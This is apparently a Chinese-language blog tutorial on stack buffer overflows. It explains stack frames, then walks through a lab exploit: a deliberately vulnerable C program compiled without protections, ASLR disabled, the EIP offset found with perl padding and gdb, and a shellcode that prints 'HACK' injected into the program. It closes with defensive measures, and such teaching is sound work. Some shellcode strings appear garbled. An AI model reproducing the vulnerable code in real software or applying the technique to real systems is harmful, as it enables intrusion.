浅析缓冲区溢出

最近一直在学习缓冲区溢出漏洞的攻击，但是关于这一块的内容还是需要很多相关知识的基础，例如编程语言及反汇编工具使用。所以研究透彻还需要不少的时间，这里简单的做一个学习的总结，通过具体的实验案例对缓冲区溢出进行简要的解析。
汇编语言及编程语言是基础，其次是对反编译工具的使用：比如gdb、IDA pro、objdump等。汇编语言的学习可以看王爽编写的《汇编语言》，很适合初学者学习的一本书。（对于初学者来说，必要的知识屏蔽是很重要的，这本书就是按这个思想编写，所以看这本书的感觉就非常流畅。）

缓冲区溢出是一种常见的攻击手段，原因在于缓冲区漏洞非常普遍，并且易于实现。缓冲区溢出漏洞占了远程网络攻击的绝大多数，成为远程攻击的主要手段。在CTF比赛中这一类的题目也是非常热门（pwn题）。利用缓冲区溢出攻击可以导致程序运行失败、系统崩溃等后果。更为严重的是，可以利用它执行非授权指令，甚至可以取得系统特权，进而进行各种非法操作。

缓冲区溢出及其原理

关于缓冲区溢出的原理网上也很多，这里用一个我觉得不错的实验示例进行讲解。
先来看以下这个例子：
（注意：此处编译环境为CentOS 5.0 （32bit），其他版本的linux可能需要修改8,9行代码）
首先用C语言编写一个程序，如下所示，保存为buffer.c文件。

1.    # include<unistd.h>  
2.    # include<stdlib.h>  
3.    # include<stdio.h>  
4.    # include<string.h>  
5.      
6.    void function(int a,int b,int c){  
7.            char buffer[8];  //声明一个类型为char的数组
8.            int *ret;    
9.            ret=(int*)(buffer+16);  
10.           (*ret)+=7;  
11.    }  
12.      
13.    int main(){  
14.       int x;  
15.       x=99999;  
16.       function(1,2,3);  
17.       x=1;  
18.       printf("%d\n",x);  
19.       return 0; 
20.    }  

编译源程序

如图1所示，执行#gcc buffer.c –o buffer.o命令，编译源程序。（有些高版本的linux可以加-fno-stack-protector -z execstack参数关闭保护措施 ）

执行程序
如图1所示，执行./buffer.o命令，输出结果99999.通过分析主函数的流程，应该输出1，可是输出的为99999。原因在于function（）函数。
原因分析
下面对buffer.o程序在内存中的分步情况及执行流程进行分析。
一个程序在内存中通常分为程序段、数据段和堆栈。
（1） 程序段：存放程序的机器码和只读数据
（2） 数据段：存放程序中的静态数据和全局变量
（3） 堆栈：存放动态数据及局部变量
在内存中，它们的位置如图2所示

堆栈是一块保存数据的连续内存，一个名为堆栈指针（SP）的寄存器标识出了栈顶的位置，堆栈的底部在一个固定的地址。（上图）图2简化了一下如图3（下图）所示，栈的增长是由低地址位向高地址位，而堆的增长刚好相反。

理论上说，局部变量可以用SP加偏移量来引用。堆栈由逻辑堆栈帧组成，一个函数对应一个堆栈帧。
当调用函数时，逻辑堆栈帧被压入栈中，堆栈帧包括函数的参数、返回地址、EBP（EBP是当前函数的存取指针，即存储或者读取数时的指针基地址，可以看成一个标准的函数起始代码）和局部变量（如果函数有局部变量）。程序执行结束后，局部变量的内容将会消失，但是不会被清除。
当函数返回时，逻辑堆栈帧从栈中被弹出，然后弹出EBP，恢复堆栈到调用函数时的地址，最后弹出返回地址到EIP（寄存器存放下一个CPU指令存放的内存地址，当CPU执行完当前的指令后，从EIP寄存器中读取下一条指令的内存地址，然后继续执行。），从而继续运行程序。
（如过想多了解一些关于寄存器的知识，可以阅读这篇文章：
https://blog.csdn.net/chenlyc...）
接下来，我们来看function（1,2,3）函数，调用函数的过程如图4所示：

首先把参数压入栈：在C语言中参数的压栈顺序是反向的，是以从后往前的顺序将function的3个参数3,2,1压入栈中。
然后保存指令寄存器（ip）中的内容作为返回地址（return2）压入栈中；第3个放入栈的是基址寄存器EBP（sfp）
接着把当前的栈指针（sp）复制到EBP，作为新栈帧的基地址（sfp，栈帧指针）。这里准备进入function函数。
最后把栈指针（sp）减去适当的数值（可以理解为指针由高地址位向低地址位滑动），将局部变量（buffer和ret）压入栈中
执行第9行语句ret=（int）（buffer1+16）；后指针ret指向return2所指的存储单元；执行代码中第10行语句（ret）+=7；后，调用函数function（）后的返回地址（return2所指的存储单元）指向了第18行，第17行被隔过去了，溢出的数据覆盖了原来的返回地址，因此，该程序的输出结果是99999。
这个就是一个简单的栈溢出的情况。

缓冲区溢出攻击例子
接下来，我们将要思考一段包含了可利用缓冲区溢出的代码，并据此展示一次攻击。
在具体地讨论缓冲区溢出攻击之前，可以先考虑一下此类攻击可能会爆发的现实场景。假设网站上web表单请用户输入数据，如姓名、年龄、出生日期等此类的相关信息。被输入的信息随后被传送到一台服务器上，而这台服务器会将“姓名”字段中输入的数据写入可以容纳N个字符的缓冲区中。如果服务器软件没有去验证可以确保输入的姓名的长度至多为N个字符的话，就可能会发生一次缓冲区溢出。如果溢出的数据是一段恶意代码，那么系统也将可能会去执行，从而受到攻击。

这里我使用的系统是ubuntu 18.04 （64bit）。当前硬件已支持数据保护功能，也即栈上注入的指令无法执行，同时现在的操作系统默认启用地址随机化功能，所有很难猜测到EIP注入的地址。这里就先要把实验环境配置好（这一步很重要，如果实验中出现问题，很大可能就是环境配置的关系）：

1. 关闭地址随机化功能(这里可能会遇到权限问题，可以手动修改，把里面的值改为0即可)：

echo 0 > /proc/sys/kernel/randomize_va_space

1. 这次测试用到的是编译出32位程序，但现在常见的都是64位系统，可以先安装gcc编译32位程序用到的库：

sudo apt-get install libc6-dev-i386

一、创建程序
我们先构建一段代码开始，命名为bo.c。（这里为了直接展示缓冲区漏洞攻击方法，就省掉了与网络相关的部分。）

1.    #include <stdio.h>  
2.    #include <string.h>  
3.      
4.    int f()  
5.    {  
6.        char buf[32];  
7.        FILE *fp;  
8.      
9.        fp = fopen("test.txt", "r");  
10.        if(!fp) {  
11.            perror("fopen");  
12.        }  
13.      
14.        fread(buf, 1024, 1, fp);  
15.        printf("data: %s\n", buf);  
16.        return 0;  
17.    }  
18.      
19.    int main(int argc, char *argv[])  
20.    {  
21.        f();  
22.      
23.        return 0;  
24.    }  

简要的分析下这段代码有溢出问题的原因是：这段程序的作用是输出文件中的字符，它声明的buf数组的字符数量为32，但是拷贝了最多可达1024个字符，因此就可以把文件的字符如果超过一定的数量，就会造成溢出，并被程序执行这些溢出的字符。

二、编译程序
编译源程序，输入如下命令：
gcc -Wall -g -fno-stack-protector -o bo bo.c -m32 -Wl,-zexecstack

这里加了几个参数，它们的功能分别是：
　-fno-stack-protector : 禁用栈溢出检测功能
　-m32 : 生成32位程序
　-Wl,-zexecstack : 支持栈端可执行
看解释就知道为什么加这些参数了。
编译完成之后，我们简要的说明下一步该如何利用溢出进行攻击。思路如下：
使用的也是上一个例子的原理，buf数组溢出后，从文件读取的内容就会在当前栈帧沿着高地址覆盖，而该栈帧的顶部存放着返回上一个函数的地址(EIP)，只要我们覆盖了该地址，就可以修改程序的执行路径，使它运行文件中的代码。这种攻击一般也叫做返回库函数攻击。
因此，我们需要知道从文件读取多少个字节才能开始覆盖EIP。常见的方法有两种：
一种方法是反编译程序进行推导，另一种方法就是进行基本的手工测试。第一种方法通常需要更深入的汇编知识，且适用于不知道源码的情况。这里我们已经知道源码，已经发现了问题所在，所以就选择后者进行尝试，确定一下写个多少字节才能覆盖EIP。

三、覆盖EIP
根据源码我们创建text.txt文件并写入字符进行尝试，尝试的方法很简单，EIP前的空间使用'A'填充，而EIP使用'BBBB'填充，使用两种不同的字母是为了方便找到边界。
目前知道buf数组大小为32个字符，可以先尝试填充32个'A'和追加'BBBB'，如果程序没有出现segment fault（段错误），则每次增加'A'字符4个，不断尝试直到程序运行出现segment fault。（我这里到48个的时候出现segment fault，32位系统大概在40左右）如果 'BBBB'刚好对准EIP的位置，那么函数返回时，将EIP内容将给PC指针，因为0x42424242(B的ascii码为0x42)是不可访问地址，所以出现segment fault，此时eip寄存器值就是0x42424242。
这里可以手工在文件文件中输入字符，但毕竟繁琐，所以可以使用perl脚本写入（之后写入shellcode也要用到）。
所经过的尝试如下：
第一次：
$ perl -e 'printf "A"x32 . "B"x4' > test.txt ;
写入文件中的内容为：AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
再运行程序./bo

结果：已溢出，造成输出乱码，但没有segment fault。
第二次增加4个A字符：
$ perl -e 'printf "A"x36 . "B"x4' > test.txt ; ./bo

结果：这里也没有segment fault。
之后的步骤省略，直接到出现segment fault的这一步：
$ perl -e 'printf "A"x48 . "B"x4' > test.txt ; ./bo

结果：产生了segment fault。
接下来就使用调试工具gdb，分析并确定此时的EIP是否为0x42424242。
1.在使用gdb前，首先输入：
ulimit -c unlimited
用这个命令是为了产生core文件，core就是程序运行发行段错误时的文件。
2.接着运再行一下上面的出错的那条指令
./bo
此时当前目录下会出现一个core文件

3.之后就是使用gdb分析程序：
$ gdb ./bo core –q

分析core文件，发现eip被写成'0x424242'（BBBB），可以确定注入内容中的'BBBB'对准了栈中存放EIP的位置。 找到EIP位置，我们就离成功迈进了一大步。值得注意的是：现在的系统有保护机制，所以找准eip的难度会大大增加。不过现在也有出现了更多有效的方法，感兴趣的朋友可以更深入地进行学习。

四、构造shellcode
通过之前的步骤，我们可以控制EIP之后，下一步操作就是往栈里面注入二进指令，然后修改EIP执行这段代码。那么当函数执行完后，就会执行我们的指令啦。
 通常我们将注入的这段指令称为shellcode，解释为这段指令是打开一个shell(bash)，然后攻击者可以在shell执行任意命令，所以称为shellcode。
 这里我们不需要写一段复杂的shellcode去打开shell。为了能证明成功控制程序，我们可以使它在终端上输出"HACK"字符串，然后程序退出。 简便起见， 我们构造的shellcode就相当于下面两句C语言的效果：

1.    write(1, "HACK\n", 5);
2.    exit(0);

因为shellcode将会直接操作寄存器和一些系统调用，所以对于shellcode的编写基本上是用高级语言编写一段程序然后编译，反汇编从而得到16进制的操作码，当然也可以直接写汇编然后从二进制文件中提取出16进制的操作码。 下面就是32位x86的汇编代码shell.s：

1.    BITS 32  
2.    start:  
3.    xor eax, eax  
4.    xor ebx, ebx  
5.    xor ecx, ecx  
6.    xor edx, edx  
7.      
8.    mov bl, 1  
9.    add esp, string - start  
10.    mov ecx, esp  
11.    mov dl, 5  
12.    mov al, 4  
13.    int 0x80  
14.      
15.    mov al, 1  
16.    mov bl, 1  
17.    dec bl  
18.    int 0x80  
19.      
20.    string:  
21.    db "HACK", 0xa  

再编译程序：
nasm -o shell shell.s
之后反编译：
ndisasm shell1
得到如下结果：

现在我们找到了EIP的位置，也有了我们要执行的shellcode，但这个EIP应该修改为什么值，才能在函数返回时执行注入的shellcode呢？
我们可以这样想，从栈的基本模型上看（下图），当函数返回，弹出EBP（栈基址），恢复堆栈到调用函数时的地址，再弹出返回地址到EIP，ESP寄存器的值（栈指针）向上移动，指向我们的shellcode。因此，我们使用上面的注入内容生成core时，ESP寄存器的值就是shellcode的开始地址，也就是EIP应该注入的值。

五、注入shellcode
我们知道要成功执行shellcode就要使EIP的值为shellcode开始的地址。那如何找到shellcode开始的地址呢？我们先尝试着把构造好的shellcode文本给程序执行，使它生成新的core。（这里要先删掉之前的core文件）
$ perl -e 'printf "A"x48 . "B"x4 . "x31xc0x31xdbx31xc9x31xd2xb3x01x83xc4x1dx89xe1xb2x05xb0x04xcdx80xb0x01xb3x01xfexcbxcdx80x48x41x43x4bx0a"' > test.txt ;./bo

再执行gdb ./bo core –q

上面我们知道，ESP的值就是shellcode开始的地址，ESP现在值为0xffffcf70，所有EIP注入值就是该值，(这一步一定要关闭地址随机化功能)。由于X86是小端的字节序，所以注入字节串需要改为"x70xcfxffxff"
然后将EIP原来的注入值'BBBB'变成"x70xcfxffxff"，使eip指向的地址为shellcode开始运行的地址即可。再次测试：
$ perl -e 'printf "A"x48 . "x70xcfxffxff" . "x31xc0x31xdbx31xc9x31xd2xb3x01x83xc4x1dx89xe1xb2x05xb0x04xcdx80xb0x01xb3x01xfexcbxcdx80x48x41x43x4bx0a"'> test.txt ;./bo

 结果：程序输出HACK字符串了，说明我们成功控制了EIP，并执行了shellcode。
如果这段shellcode构造的再复杂一些，我们就能做更多的事。
这也是算是最简单的缓冲区溢出漏洞攻击的例子了，所讲的技术也有点过时，对于现在的系统来讲，已经不大可能管用了。但不管怎么样，对于初步的学习还是很助于理解的。一切的学习可以从这个简单的例子出发，一步步的进行更深入下去。然后在其中发现更多的精彩。

缓冲区溢出攻击的防范措施
了解攻击原理是为了能更好的进行防御，最后简要的说明一下如何防范这类攻击的发生。
（1）关闭不需要的特权程序。
（2）及时给系统和服务程序漏洞打补丁。
（3）强制写正确的代码。
（4）通过操作系统使得缓冲区不可执行，从而阻止攻击者植入攻击代码。
（5）利用编译器的边界检查来实现缓冲区的保护，这个方法使得缓冲区溢出不可能出现，从而完全消除了缓冲区溢出的威胁，但是代价比较大。
（6）在程序指针失效前进行完整性检查。
（7）改进系统内部安全机制。

参考文章：https://blog.csdn.net/linyt/a...